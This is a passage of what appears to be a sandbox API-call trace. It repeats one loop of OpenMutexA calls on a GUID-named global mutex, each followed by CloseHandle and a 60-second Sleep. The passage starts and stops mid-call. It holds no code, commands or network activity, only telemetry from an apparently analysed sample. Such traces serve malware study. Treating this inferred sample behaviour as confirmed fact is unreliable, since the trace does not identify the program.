(dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.933] CloseHandle (hObject=0xc08) returned 1 [0121.933] Sleep (dwMilliseconds=0xea60) [0121.950] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.950] CloseHandle (hObject=0xc08) returned 1 [0121.950] Sleep (dwMilliseconds=0xea60) [0121.968] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.968] CloseHandle (hObject=0xc08) returned 1 [0121.968] Sleep (dwMilliseconds=0xea60) [0121.983] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0121.983] CloseHandle (hObject=0xc14) returned 1 [0121.983] Sleep (dwMilliseconds=0xea60) [0121.984] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc14 [0121.984] CloseHandle (hObject=0xc14) returned 1 [0121.984] Sleep (dwMilliseconds=0xea60) [0121.999] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0121.999] CloseHandle (hObject=0xc08) returned 1 [0121.999] Sleep (dwMilliseconds=0xea60) [0122.017] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.017] CloseHandle (hObject=0xc08) returned 1 [0122.017] Sleep (dwMilliseconds=0xea60) [0122.035] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.035] CloseHandle (hObject=0xc08) returned 1 [0122.035] Sleep (dwMilliseconds=0xea60) [0122.052] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.052] CloseHandle (hObject=0xc08) returned 1 [0122.052] Sleep (dwMilliseconds=0xea60) [0122.069] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.069] CloseHandle (hObject=0xc08) returned 1 [0122.069] Sleep (dwMilliseconds=0xea60) [0122.086] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.086] CloseHandle (hObject=0xc08) returned 1 [0122.086] Sleep (dwMilliseconds=0xea60) [0122.104] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.104] CloseHandle (hObject=0xc08) returned 1 [0122.104] Sleep (dwMilliseconds=0xea60) [0122.121] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.121] CloseHandle (hObject=0xc08) returned 1 [0122.121] Sleep (dwMilliseconds=0xea60) [0122.138] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.138] CloseHandle (hObject=0xc08) returned 1 [0122.138] Sleep (dwMilliseconds=0xea60) [0122.157] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.157] CloseHandle (hObject=0xc08) returned 1 [0122.157] Sleep (dwMilliseconds=0xea60) [0122.175] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.175] CloseHandle (hObject=0xc08) returned 1 [0122.175] Sleep (dwMilliseconds=0xea60) [0122.192] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.193] CloseHandle (hObject=0xc08) returned 1 [0122.193] Sleep (dwMilliseconds=0xea60) [0122.209] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.209] CloseHandle (hObject=0xc08) returned 1 [0122.209] Sleep (dwMilliseconds=0xea60) [0122.227] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.227] CloseHandle (hObject=0xc08) returned 1 [0122.227] Sleep (dwMilliseconds=0xea60) [0122.245] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.245] CloseHandle (hObject=0xc08) returned 1 [0122.245] Sleep (dwMilliseconds=0xea60) [0122.262] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.262] CloseHandle (hObject=0xc08) returned 1 [0122.262] Sleep (dwMilliseconds=0xea60) [0122.283] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.283] CloseHandle (hObject=0xc08) returned 1 [0122.283] Sleep (dwMilliseconds=0xea60) [0122.303] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.303] CloseHandle (hObject=0xc08) returned 1 [0122.303] Sleep (dwMilliseconds=0xea60) [0122.327] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.327] CloseHandle (hObject=0xc08) returned 1 [0122.327] Sleep (dwMilliseconds=0xea60) [0122.343] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.343] CloseHandle (hObject=0xc08) returned 1 [0122.343] Sleep (dwMilliseconds=0xea60) [0122.361] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.361] CloseHandle (hObject=0xc08) returned 1 [0122.361] Sleep (dwMilliseconds=0xea60) [0122.379] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.379] CloseHandle (hObject=0xc08) returned 1 [0122.379] Sleep (dwMilliseconds=0xea60) [0122.396] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.396] CloseHandle (hObject=0xc08) returned 1 [0122.396] Sleep (dwMilliseconds=0xea60) [0122.414] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.414] CloseHandle (hObject=0xc08) returned 1 [0122.414] Sleep (dwMilliseconds=0xea60) [0122.430] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.430] CloseHandle (hObject=0xc08) returned 1 [0122.430] Sleep (dwMilliseconds=0xea60) [0122.448] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.448] CloseHandle (hObject=0xc08) returned 1 [0122.448] Sleep (dwMilliseconds=0xea60) [0122.468] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.468] CloseHandle (hObject=0xc08) returned 1 [0122.468] Sleep (dwMilliseconds=0xea60) [0122.484] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.484] CloseHandle (hObject=0xc08) returned 1 [0122.484] Sleep (dwMilliseconds=0xea60) [0122.501] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.501] CloseHandle (hObject=0xc08) returned 1 [0122.501] Sleep (dwMilliseconds=0xea60) [0122.518] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.518] CloseHandle (hObject=0xc08) returned 1 [0122.518] Sleep (dwMilliseconds=0xea60) [0122.535] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.535] CloseHandle (hObject=0xc08) returned 1 [0122.535] Sleep (dwMilliseconds=0xea60) [0122.552] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc08 [0122.552] CloseHandle (hObject=0xc08) returned 1 [0122.552] Sleep (dwMilliseconds=0xea60) [0122.573] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.573] CloseHandle (hObject=0xbfc) returned 1 [0122.573] Sleep (dwMilliseconds=0xea60) [0122.590] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.590] CloseHandle (hObject=0xbfc) returned 1 [0122.590] Sleep (dwMilliseconds=0xea60) [0122.608] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.608] CloseHandle (hObject=0xbfc) returned 1 [0122.608] Sleep (dwMilliseconds=0xea60) [0122.625] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.625] CloseHandle (hObject=0xbfc) returned 1 [0122.625] Sleep (dwMilliseconds=0xea60) [0122.634] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.634] CloseHandle (hObject=0xbfc) returned 1 [0122.634] Sleep (dwMilliseconds=0xea60) [0122.635] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.635] CloseHandle (hObject=0xbfc) returned 1 [0122.635] Sleep (dwMilliseconds=0xea60) [0122.649] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.649] CloseHandle (hObject=0xbfc) returned 1 [0122.649] Sleep (dwMilliseconds=0xea60) [0122.667] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.668] CloseHandle (hObject=0xbfc) returned 1 [0122.668] Sleep (dwMilliseconds=0xea60) [0122.687] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.687] CloseHandle (hObject=0xbfc) returned 1 [0122.687] Sleep (dwMilliseconds=0xea60) [0122.704] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.704] CloseHandle (hObject=0xbfc) returned 1 [0122.704] Sleep (dwMilliseconds=0xea60) [0122.717] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.717] CloseHandle (hObject=0xbfc) returned 1 [0122.717] Sleep (dwMilliseconds=0xea60) [0122.717] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.717] CloseHandle (hObject=0xbfc) returned 1 [0122.717] Sleep (dwMilliseconds=0xea60) [0122.729] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.729] CloseHandle (hObject=0xbfc) returned 1 [0122.729] Sleep (dwMilliseconds=0xea60) [0122.746] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.746] CloseHandle (hObject=0xbfc) returned 1 [0122.746] Sleep (dwMilliseconds=0xea60) [0122.764] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.764] CloseHandle (hObject=0xbfc) returned 1 [0122.764] Sleep (dwMilliseconds=0xea60) [0122.781] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.781] CloseHandle (hObject=0xbfc) returned 1 [0122.781] Sleep (dwMilliseconds=0xea60) [0122.797] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.797] CloseHandle (hObject=0xbfc) returned 1 [0122.797] Sleep (dwMilliseconds=0xea60) [0122.816] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.816] CloseHandle (hObject=0xbfc) returned 1 [0122.816] Sleep (dwMilliseconds=0xea60) [0122.833] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.833] CloseHandle (hObject=0xbfc) returned 1 [0122.833] Sleep (dwMilliseconds=0xea60) [0122.852] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.852] CloseHandle (hObject=0xbfc) returned 1 [0122.852] Sleep (dwMilliseconds=0xea60) [0122.869] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.869] CloseHandle (hObject=0xbfc) returned 1 [0122.869] Sleep (dwMilliseconds=0xea60) [0122.870] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0122.870] CloseHandle (hObject=0xc04) returned 1 [0122.871] Sleep (dwMilliseconds=0xea60) [0122.889] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.889] CloseHandle (hObject=0xbfc) returned 1 [0122.889] Sleep (dwMilliseconds=0xea60) [0122.906] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.906] CloseHandle (hObject=0xbfc) returned 1 [0122.906] Sleep (dwMilliseconds=0xea60) [0122.925] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.925] CloseHandle (hObject=0xbfc) returned 1 [0122.925] Sleep (dwMilliseconds=0xea60) [0122.942] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.943] CloseHandle (hObject=0xbfc) returned 1 [0122.943] Sleep (dwMilliseconds=0xea60) [0122.959] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.959] CloseHandle (hObject=0xbfc) returned 1 [0122.959] Sleep (dwMilliseconds=0xea60) [0122.977] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.977] CloseHandle (hObject=0xbfc) returned 1 [0122.977] Sleep (dwMilliseconds=0xea60) [0122.984] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0122.984] CloseHandle (hObject=0xbfc) returned 1 [0122.984] Sleep (dwMilliseconds=0xea60) [0123.001] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.001] CloseHandle (hObject=0xbfc) returned 1 [0123.001] Sleep (dwMilliseconds=0xea60) [0123.018] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.018] CloseHandle (hObject=0xbfc) returned 1 [0123.018] Sleep (dwMilliseconds=0xea60) [0123.035] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.035] CloseHandle (hObject=0xbfc) returned 1 [0123.035] Sleep (dwMilliseconds=0xea60) [0123.042] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.042] CloseHandle (hObject=0xbfc) returned 1 [0123.042] Sleep (dwMilliseconds=0xea60) [0123.042] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.042] CloseHandle (hObject=0xbfc) returned 1 [0123.058] Sleep (dwMilliseconds=0xea60) [0123.072] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.075] CloseHandle (hObject=0xbfc) returned 1 [0123.075] Sleep (dwMilliseconds=0xea60) [0123.092] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.092] CloseHandle (hObject=0xbfc) returned 1 [0123.092] Sleep (dwMilliseconds=0xea60) [0123.110] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.110] CloseHandle (hObject=0xbfc) returned 1 [0123.110] Sleep (dwMilliseconds=0xea60) [0123.127] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xbfc [0123.127] CloseHandle (hObject=0xbfc) returned 1 [0123.127] Sleep (dwMilliseconds=0xea60) [0123.135] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.135] CloseHandle (hObject=0xc04) returned 1 [0123.145] Sleep (dwMilliseconds=0xea60) [0123.162] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.162] CloseHandle (hObject=0xc04) returned 1 [0123.162] Sleep (dwMilliseconds=0xea60) [0123.179] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.179] CloseHandle (hObject=0xc04) returned 1 [0123.179] Sleep (dwMilliseconds=0xea60) [0123.196] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.196] CloseHandle (hObject=0xc04) returned 1 [0123.196] Sleep (dwMilliseconds=0xea60) [0123.214] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.214] CloseHandle (hObject=0xc04) returned 1 [0123.214] Sleep (dwMilliseconds=0xea60) [0123.231] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.231] CloseHandle (hObject=0xc04) returned 1 [0123.231] Sleep (dwMilliseconds=0xea60) [0123.248] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.248] CloseHandle (hObject=0xc04) returned 1 [0123.248] Sleep (dwMilliseconds=0xea60) [0123.266] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.266] CloseHandle (hObject=0xc04) returned 1 [0123.266] Sleep (dwMilliseconds=0xea60) [0123.287] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.287] CloseHandle (hObject=0xc04) returned 1 [0123.287] Sleep (dwMilliseconds=0xea60) [0123.287] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.287] CloseHandle (hObject=0xc04) returned 1 [0123.287] Sleep (dwMilliseconds=0xea60) [0123.296] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.296] CloseHandle (hObject=0xc04) returned 1 [0123.296] Sleep (dwMilliseconds=0xea60) [0123.314] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.314] CloseHandle (hObject=0xc04) returned 1 [0123.314] Sleep (dwMilliseconds=0xea60) [0123.337] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.337] CloseHandle (hObject=0xc04) returned 1 [0123.337] Sleep (dwMilliseconds=0xea60) [0123.354] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.354] CloseHandle (hObject=0xc04) returned 1 [0123.354] Sleep (dwMilliseconds=0xea60) [0123.371] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.371] CloseHandle (hObject=0xc04) returned 1 [0123.371] Sleep (dwMilliseconds=0xea60) [0123.387] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.387] CloseHandle (hObject=0xc04) returned 1 [0123.387] Sleep (dwMilliseconds=0xea60) [0123.404] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.404] CloseHandle (hObject=0xc04) returned 1 [0123.404] Sleep (dwMilliseconds=0xea60) [0123.421] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.421] CloseHandle (hObject=0xc04) returned 1 [0123.421] Sleep (dwMilliseconds=0xea60) [0123.438] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.438] CloseHandle (hObject=0xc04) returned 1 [0123.438] Sleep (dwMilliseconds=0xea60) [0123.456] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.456] CloseHandle (hObject=0xc04) returned 1 [0123.456] Sleep (dwMilliseconds=0xea60) [0123.473] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.473] CloseHandle (hObject=0xc04) returned 1 [0123.473] Sleep (dwMilliseconds=0xea60) [0123.493] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.493] CloseHandle (hObject=0xc04) returned 1 [0123.493] Sleep (dwMilliseconds=0xea60) [0123.509] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.509] CloseHandle (hObject=0xc04) returned 1 [0123.509] Sleep (dwMilliseconds=0xea60) [0123.527] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.527] CloseHandle (hObject=0xc04) returned 1 [0123.527] Sleep (dwMilliseconds=0xea60) [0123.544] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.544] CloseHandle (hObject=0xc04) returned 1 [0123.544] Sleep (dwMilliseconds=0xea60) [0123.561] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.561] CloseHandle (hObject=0xc04) returned 1 [0123.561] Sleep (dwMilliseconds=0xea60) [0123.577] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.577] CloseHandle (hObject=0xc04) returned 1 [0123.577] Sleep (dwMilliseconds=0xea60) [0123.598] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.598] CloseHandle (hObject=0xc04) returned 1 [0123.598] Sleep (dwMilliseconds=0xea60) [0123.614] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.614] CloseHandle (hObject=0xc04) returned 1 [0123.614] Sleep (dwMilliseconds=0xea60) [0123.632] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.632] CloseHandle (hObject=0xc04) returned 1 [0123.632] Sleep (dwMilliseconds=0xea60) [0123.648] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.648] CloseHandle (hObject=0xc04) returned 1 [0123.648] Sleep (dwMilliseconds=0xea60) [0123.666] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.666] CloseHandle (hObject=0xc04) returned 1 [0123.666] Sleep (dwMilliseconds=0xea60) [0123.682] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.682] CloseHandle (hObject=0xc04) returned 1 [0123.682] Sleep (dwMilliseconds=0xea60) [0123.700] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\D6E9C81C-3831-4873-96BA-7C98D2DEBEF9") returned 0xc04 [0123.700] CloseHandle (hObject=0xc04) returned 1 [0123.701] Sleep (dwMilliseconds=0xea60) [0123.707] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, 